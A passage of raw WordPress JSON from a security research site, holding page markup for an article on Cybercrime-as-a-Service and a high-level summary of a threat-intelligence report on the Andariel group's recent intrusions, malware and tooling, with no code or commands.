class=\"wp-component-card-insight__title\">GREYVIBE: A Russia-nexus group leveraging AI across state-aligned operations<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/greyvibe\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                    <\/div>\n                <div class=\"wp-block-cards__nav fade-in\">\n                    <div class=\"wp-block-cards__pagination js-wp-block-cards-pagination\">\n                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-prev\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-next\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                <\/div>\n            <\/div>\n                                    <\/div>\n<\/section>\n","protected":false},"excerpt":{"rendered":"<p>Back in 2023, when we last wrote about Cybercrime-as-a-Service, we described cybercrime as an economy that had figured out how to scale<\/p>\n","protected":false},"author":3,"featured_media":8858,"template":"","categories":[237,148],"labs_content_type":[298,296,224],"class_list":["post-8094","lab_item","type-lab_item","status-publish","has-post-thumbnail","hentry","category-network-security","category-ransomware"],"acf":[],"card":"<div class=\"wp-component-card-insight js-card-link\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img width=\"1200\" height=\"800\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research.jpg\" class=\"wp-component-card-insight__image\" alt=\"\" decoding=\"async\" loading=\"lazy\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research.jpg 1200w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research-300x200.jpg 300w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research-1024x683.jpg 1024w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research-768x512.jpg 768w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research-447x298.jpg 447w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research-219x146.jpg 219w\" sizes=\"auto, (max-width: 1200px) 100vw, 1200px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Article<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Network Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Ransomware<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">The Changing Economics of Cybercrime-as-a-Service: What Defenders Need to Know<\/h3>\n                                            <p class=\"wp-component-card-insight__desc\">Back in 2023, when we last wrote about Cybercrime-as-a-Service, we described cybercrime as an economy that had figured out how to scale<\/p>\n                            <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/changing-economics-of-cybercrime-as-a-service\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>","_links":{"self":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item\/8094","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item"}],"about":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/types\/lab_item"}],"author":[{"embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/users\/3"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/media\/8858"}],"wp:attachment":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/media?parent=8094"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/categories?post=8094"},{"taxonomy":"labs_content_type","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/labs_content_type?post=8094"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}},{"id":8084,"date":"2026-01-22T09:00:00","date_gmt":"2026-01-22T09:00:00","guid":{"rendered":"https:\/\/www.withsecure.com\/?post_type=lab_item&#038;p=8084"},"modified":"2026-09-08T10:03:47","modified_gmt":"2026-09-08T07:03:47","slug":"andariel-2025","status":"publish","type":"lab_item","link":"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/andariel-2025\/","title":{"rendered":"To the past and beyond: Andariel\u2019s latest arsenal and cyberattacks"},"content":{"rendered":"<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 wp-block-one-column-block--meta-sharing layout--spacing-xxxxl-top layout--spacing-xl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                            <div class='wp-block-one-column-block__meta-sharing-grid'><div class=\"wp-component-content wp-component-content--default wp-block-one-column-block__content fade-in\">\n            <h1 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    To the past and beyond: Andariel\u2019s latest arsenal  <span class=\"blue-text\">and cyberattacks<\/span><\/h1>                    <div class=\"wp-component-content__inner\">\n                                                    <div class=\"wp-component-content__meta\">\n                                                    <span class=\"wp-component-content__content-type\">\n                                Publications                            <\/span>\n                                                                            <span class=\"wp-component-content__meta-categories\">\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Attack Detection                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Threat Intelligence                                    <\/span>\n                                                            <\/span>\n                                                                                                    <span class=\"wp-component-content__meta-date\">\n                                Jan 22, 2026                            <\/span>\n                                                                    <\/div>\n                                            <\/div>\n                <\/div><section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--content-1 wp-block-sharing-icons--disable-container wp-block-one-column-block__sharing fade-in wp-block-one-column-block__sharing fade-in\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/andariel-2025\/&#038;title=To%20the%20past%20and%20beyond:%20Andariel\u2019s%20latest%20arsenal%20and%20cyberattacks\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=To the past and beyond: Andariel\u2019s latest arsenal and cyberattacks&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/andariel-2025\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n<\/div>                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                                    <div class=\"wp-component-image__wrapper wp-block-one-column-block__image fade-in\">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1200\" height=\"800\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research.jpg.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-content-25-1 wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research.jpg.webp 1200w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 1200px) 100vw, 1200px\" \/>                                                    <\/figure>\n                    <\/div>\n                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-two-column-block edwp-block js-wp-block-two-column-block wp-block-two-column-block--content-1 wp-block-two-column-block__left--align-y-top wp-block-two-column-block__right--align-y-top wp-block-two-column-block--split-sidebar layout--none-top layout--spacing-xxxl-bottom\"\n    data-block-id=\"block_9e2b3d6d5492aa2b8e8d8a82e5ebafce\"\n    >\n    <div class=\"wp-block-two-column-block__container row-load\">\n                                                        <div class=\"wp-block-two-column-block__left\">\n                                    <div class=\"wp-component-authors-list wp-block-two-column-block__authors\">\n                    <p class=\"wp-component-authors-list__title\">\n                Authors            <\/p>\n        \n        <div class=\"wp-component-authors-list__items\">\n                                                <div class=\"wp-component-author-card \">\n    <div class=\"wp-component-author-card__media\">\n                    <img loading=\"lazy\" decoding=\"async\" width=\"1080\" height=\"1080\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2.jpg.webp\" class=\"wp-component-author-card__photo\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2.jpg.webp 1080w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-300x300.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-1024x1024.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-150x150.jpg.webp 150w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-768x768.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-447x447.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-700x700.jpg.webp 700w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-146x146.jpg.webp 146w\" sizes=\"auto, (max-width: 1080px) 100vw, 1080px\" \/>            <\/div>\n    <div class=\"wp-component-author-card__content\">\n                    <h3 class=\"wp-component-author-card__name\">Mohammad Kazem Hassan Nejad<\/h3>\n        \n                    <p class=\"wp-component-author-card__meta\">\n                Senior Threat Intelligence Researcher, WithSecure            <\/p>\n                \n            <\/div>\n\n<\/div>\n\n                                    <\/div>\n\n            <\/div>\n    <div class=\"wp-component-column-cta wp-block-two-column-block__cta\">\n                    <p class=\"wp-component-column-cta__title js-column-cta-nav-title\">\n                Download report            <\/p>\n        \n        <div class=\"wp-component-column-cta__items\">\n                            <div class=\"wp-component-column-cta__item\">\n                    \n                                            <a target=\"_blank\" rel=\"noopener noreferrer\" class=\"wp-component-button btn btn--primary\" href=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/WithSecure_Andariel_2025.pdf\">Download report<svg class='edwp-icon edwp-icon--reg button-icon js-icon ' aria-hidden='true'>\n                <use xlink:target=\"_blank\" rel=\"noopener noreferrer\" href='#download'><\/use>\n            <\/svg><\/a>                                    <\/div>\n                    <\/div>\n    <\/div>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__hide-mobile wp-block-two-column-block__share wp-block-two-column-block__hide-mobile\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/andariel-2025\/&#038;title=To%20the%20past%20and%20beyond:%20Andariel\u2019s%20latest%20arsenal%20and%20cyberattacks\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=To the past and beyond: Andariel\u2019s latest arsenal and cyberattacks&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/andariel-2025\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                                                <div class=\"wp-block-two-column-block__right\">\n                                <div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <p>WithSecure proactively identified and notified a European customer belonging to the public\/legal sector of a breach attributed with high confidence to the Andariel group, a state-sponsored cyber group linked to the Reconnaissance General Bureau (RGB) 3rd bureau of Democratic People\u2019s Republic of Korea (DPRK).<\/p>\n<p>The attribution was based on the threat actor\u2019s usage of unique malware, such as TigerRAT, command execution patterns, infrastructure linkages, and other technical and non-technical evidence that linked it to previous reports of Andariel activity.<\/p>\n<p>We assess that the primary goal of this breach was cyberespionage. This was determined based on the group\u2019s past objectives and the intrusion activity, but most notably the threat actor accessing documents relating to anti-money laundering on the victim host. DPRK is notoriously known for its money-laundering activity to evade international sanctions.<\/p>\n<p>This investigation led WithSecure to the discovery of another set of attack conducted by this group against an Enterprise Resource Planning (ERP) software in Republic of Korea (ROK) in 2025. WithSecure determined that this particular ERP software had been a previous target of Andariel in 2017 and almost certainly again in 2024.<\/p>\n<p>This further on led to the discovery of three new, previously undocumented RATs that WithSecure attributes to Andariel, namely StarshellRAT, JelusRAT, and GopherRAT.<\/p>\n<p>The investigation also led WithSecure to discover a staging server used by the group. Through this staging server, we were able to find additional artifacts related to both attacks. We also discovered a mix of new and old techniques and tooling used by the group to conduct their latest attacks, including privilege escalation tools such as PrintSpoofer and PetitPotato, and the abuse of the trending bring-your-own-vulnerable-driver (BYOVD) technique that is used by other threat actors to kill AV\/EDR products.<\/p>\n<p>This report provides details on the two cyberattacks we investigated and analysis of the artifacts we found across the two attacks and on the staging server. WithSecure has engaged governments and select partners with advanced copies of this report.<\/p>\n<\/div>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/andariel-2025\/&#038;title=To%20the%20past%20and%20beyond:%20Andariel\u2019s%20latest%20arsenal%20and%20cyberattacks\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=To the past and beyond: Andariel\u2019s latest arsenal and cyberattacks&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/andariel-2025\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                        <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-cta-banner edwp-block js-wp-block-cta-banner wp-block-cta-banner--style-icon wp-block-cta-banner--no-image layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cta-banner__container\">\n        <div class=\"wp-block-cta-banner__box row-load\">\n            <div class=\"wp-component-content wp-component-content--help-text wp-component-content--dark wp-block-cta-banner__content\">\n                        <div class=\"wp-component-content__inner\">\n                <h2 class=\"wp-component-heading text--h2 wp-component-heading--dark wp-component-content__title\">\n    What <span class=\"blue-text\">next?<\/span><\/h2>                                    <div class=\"wp-component-content__content wysiwyg wysiwyg--dark\">\n                        <div class=\"wp-component-paragraph wp-component-paragraph--dark\">\n    <p class=\"text--p-medium\">Discover WithSecure\u2122 Elements Exposure Management.<br \/>\n&#8211; No credit card required. No obligations.No complexity.<\/p>\n<\/div>\n                    <\/div>\n                            <\/div>\n                            <div class=\"wp-component-content__buttons\">\n                <a class=\"wp-component-button btn btn--primary btn--dark\" href=\"https:\/\/www.withsecure.com\/en\/contact-us\/\">Contact us<\/a>            <\/div>\n                <\/div>                    <\/div>\n    <\/div>\n<\/section>\n\n\n\n\n<section\n    class=\"wp-block-cards edwp-block wp-block-cards--col-3 js-wp-block-cards wp-block-cards--show-overflow wp-block-cards--auto-slides-per-view layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cards__container\">\n        <div class=\"wp-component-content wp-component-content--default wp-block-cards__content\">\n            <h2 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    Related <span class=\"blue-text\">Labs content<\/span><\/h2>                    <div class=\"wp-component-content__inner\">\n                                    <div class=\"wp-component-content__content wysiwyg\">\n                        <div class=\"wp-component-paragraph \">\n    <p class=\"text--p-medium\"><span data-teams=\"true\">Find related content relating to this topic.<\/span><\/p>\n<\/div>\n                    <\/div>\n                                                            <\/div>\n                <\/div>                            <div\n                class=\"swiper wp-block-cards__swiper js-wp-block-cards-swiper\"\n                data-slides-per-view-desktop=\"auto\"\n                data-slides-per-view-tablet=\"auto\"\n                data-slides-per-view-mobile=\"auto\"\n            >\n                <div class=\"swiper-wrapper wp-block-cards__swiper-wrapper row-load\">\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card wp-component-card-insight--highlighted\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Attack Detection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Dfir<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Incident Response<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Research<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Inside Phexia: A macOS malware delivered through ClickFix<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary btn--dark wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/phexia-macos-malware\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"2048\" height=\"1366\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"Overhead view down a wooden staircase of two people working on laptops in a casual seating nook below.\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp 2048w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1536x1025.jpg.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 2048px) 100vw, 2048px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Article<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Endpoint Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Ransomware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Stolen creds and stinging loaders: An initial access campaign via SEO poisoning<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/initial-access-via-seo-poisoning\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">AI Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Software Protection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">GREYVIBE: A Russia-nexus group leveraging AI across state-aligned operations<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/greyvibe\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                    <\/div>\n                <div class=\"wp-block-cards__nav fade-in\">\n                    <div class=\"wp-block-cards__pagination js-wp-block-cards-pagination\">\n                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-prev\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-next\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                <\/div>\n            <\/div>\n                                    <\/div>\n<\/section>\n","protected":false},"excerpt":{"rendered":"<p>WithSecure proactively identified and notified a European customer belonging to the public\/legal sector of a breach attributed with high confidence to the Andariel group, a state-sponsored cyber group linked to the Reconnaissance General Bureau (RGB) 3rd bureau of Democratic People\u2019s Republic of Korea (DPRK).<\/p>\n","protected":false},"author":3,"featured_media":8858,"template":"","categories":[240,269],"labs_content_type":[221,225,224,300],"class_list":["post-8084","lab_item","type-lab_item","status-publish","has-post-thumbnail","hentry","category-attack-detection","category-threat-intelligence"],"acf":[],"card":"<div class=\"wp-component-card-insight js-card-link\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img width=\"1200\" height=\"800\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research.jpg\" class=\"wp-component-card-insight__image\" alt=\"\" decoding=\"async\" loading=\"lazy\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research.jpg 1200w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research-300x200.jpg 300w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research-1024x683.jpg 1024w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research-768x512.jpg 768w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research-447x298.jpg 447w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research-219x146.jpg 219w\" sizes=\"auto, (max-width: 1200px) 100vw, 1200px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Publications<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Attack Detection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">To the past and beyond: Andariel\u2019s latest arsenal and cyberattacks<\/h3>\n                                            <p class=\"wp-component-card-insight__desc\">WithSecure proactively identified and notified a European customer belonging to the public\/legal sector of a breach attributed with high confidence to the Andariel group, a state-sponsored cyber group linked to the Reconnaissance General Bureau (RGB) 3rd bureau of Democratic People\u2019s Republic of Korea (DPRK).<\/p>\n                            <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/andariel-2025\/\">Read more<\/a>            <\/div>\n            